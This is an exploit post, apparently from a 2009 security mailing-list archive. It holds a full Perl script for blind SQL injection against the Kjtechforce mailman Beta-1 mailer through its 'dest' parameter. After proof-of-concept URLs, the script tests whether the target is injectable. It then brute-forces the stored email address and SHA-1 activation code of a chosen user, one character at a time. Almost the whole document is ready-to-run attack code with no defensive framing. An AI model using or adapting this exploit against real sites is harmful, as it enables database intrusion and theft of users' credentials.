OSEC

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('dest') Blind (SQLi) EXPLOIT --Kjtechforce mailman Beta-1 -->

y3nh4ck3rgmail.com
Date: Fri Jun 05 2009 - 14:03:24 CDT


#!/usr/bin/perl
#
#----------------------------------------------------------------
#('dest') Blind (SQLi) EXPLOIT --Kjtechforce mailman Beta-1 -->
#----------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://sourceforge.net/projects/kjtechforce/
#-->DOWNLOAD: http://sourceforge.net/projects/kjtechforce/
#-->DEMO: N/A
#-->CATEGORY: CMS / Mailer
#-->DESCRIPTION: The kjtechforce project has aimed at the tool making
# that supports kjclub.com from the outside...
#-->RELEASED: 2009-05-16
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: N/A
#-->CATEGORY: BLIND SQL INJECTION EXPLOIT
#-->AFFECT VERSION: CURRENT
#-->Discovered Bug date: 2009-06-02
#-->Reported Bug date: 2009-06-02
#-->Fixed bug date: Not fixed
#-->Info patch: Not fixed
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[PATH]/index.php?id=3&dest=4%27+and+1=1%23 --> TRUE
#
#http://[HOST]/[PATH]/index.php?id=3&dest=4%27+and+1=0%23 --> FALSE
#
#
##############################################################################
##############################################################################
##**************************************************************************##
## SPECIAL THANKS TO: JosS and every H4ck3r(all who do hack0wn)! ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: Str0ke, Ulises2k, J.McCray, Evil1 & Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
        my $SO = $^O;
        my $linux = "";
        if (index(lc($SO),"win")!=-1){
                $linux="0";
        }else{
                $linux="1";
        }
        if($linux){
                system("clear");
        }
        else{
                system("cls");
                system ("title Kjtechforce mailman Beta-1 Blind SQLi Exploit");
                system ("color 02");
        }
}
sub request {
        my $userag = LWP::UserAgent->new;
        $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
        $request = HTTP::Request -> new(GET => $_[0]);
        my $outcode= $userag->request($request)->as_string;
        #print $outcode; #--> Active this line for debugger mode
        return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
        print "\tWeb isn't vulnerable!\n\n";
        print "\t--->Maybe:\n\n";
        print "\t\t1.-Patched.\n";
        print "\t\t2.-Bad path or host.\n";
        print "\t\t3.-Magic quotes ON.\n";
        print "\t\tEXPLOIT FAILED!\n";
        print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
        print "\t-----------------------------------------------------------------\n";
        print "\tWEB MAYBE BE VULNERABLE!\n\n";
        print "\tTested Blind SQL Injection.\n";
        print "\tStarting exploit...\n";
        print "\t-----------------------------------------------------------------\n\n";
}

sub helper {
        print "\n\t[!!!] Kjtechforce mailman Beta-1 Blind SQLi Exploit\n";
        print "\t[!!!] USAGE MODE: [!!!]\n";
        print "\t[!!!] perl $0 [HOST] [PATH] [Target_id]\n";
        print "\t[!!!] [HOST]: Web.\n";
        print "\t[!!!] [PATH]: Home Path.\n";
        print "\t[!!!] [Target_id]: Set Target id\n";
        print "\t[!!!] Example: perl $0 'www.example.com' 'path' '1'\n";
}
sub brute_length{
#Column length
$exit=0;
$i=0;
while($exit==0){
        my $blindsql=$_[0]."'+AND+(SELECT+length(address)+FROM+mailman_user+WHERE+id=".$_[1].")=".$i++."%23"; #injected code
        $output=&request($blindsql);
        if($output !~ (/is NOT MailMan User./)){
                $exit=1;
        }else{
                $exit=0;
        }
        #This is the max length of address or code
        if($i>40){
        &error;
        exit(1);
        }
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Address --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
        $z=45;
        while(($k<=$_[1]) && ($z<=126)){
                if($_[2] eq "code"){
                        $blindsql=$_[0]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+mailman_activator+WHERE+user_id=".$_[3]."),".$k.",1))=".$z."%23";
                }else{
                        $blindsql=$_[0]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+mailman_user+WHERE+id=".$_[3]."),".$k.",1))=".$z."%23";
                }
                $output=&request($blindsql);
                if ($output !~ (/is NOT MailMan User./))
                {
                        $values=$values.chr($z);
                        $k++;
                        $z=45;
                }
#new char
        $z++;
        }
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t## Kjtechforce mailman Beta-1 ##\n\n";
print "\t## Blind SQL Injection Exploit ##\n\n";
print "\t## ++Conditions: magic_quotes=OFF ##\n\n";
print "\t## Author: Y3nh4ck3r ##\n\n";
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t## Proud to be Spanish! ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
$numArgs = $#ARGV + 1;
if($numArgs<=1)
        {
                &helper;
                exit(1);
        }
if(!$ARGV[2]){
        $target_id=1;
}else{
        $target_id=$ARGV[2];
}
#Build uri
my $finalhost="http://".$host."/".$path."/index.php?id=".$target_id."&dest=".$target_id;
$finalrequest = $finalhost;
#Testing blind sql injection
$testblind1=$finalrequest."'+AND+1=0%23";
$output1=&request($testblind1);
$testblind2=$finalrequest."'+AND+1=1%23";
$output2=&request($testblind2);
if ($output1 eq $output2)
{
        #Not injectable
        &error;
        exit(1);
}else{
        #blind sql injection is available
        &testedblindsql;
}
#Bruteforcing length
$length_address=&brute_length($finalrequest,$target_id);
#Bruteforcing username...
$address=&exploiting($finalrequest,$length_address,'address',$target_id);
$length_codesha1=40; #Encrypted Sha-1
#Bruteforcing password...
$codesha1=&exploiting($finalrequest,$length_codesha1,'code',$target_id);
#final checking
if((!$address) || (!$codesha1)){
        &error;
        exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tEmail address: ".$address."\n";
print "\t\tSha1 code: ".$codesha1."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done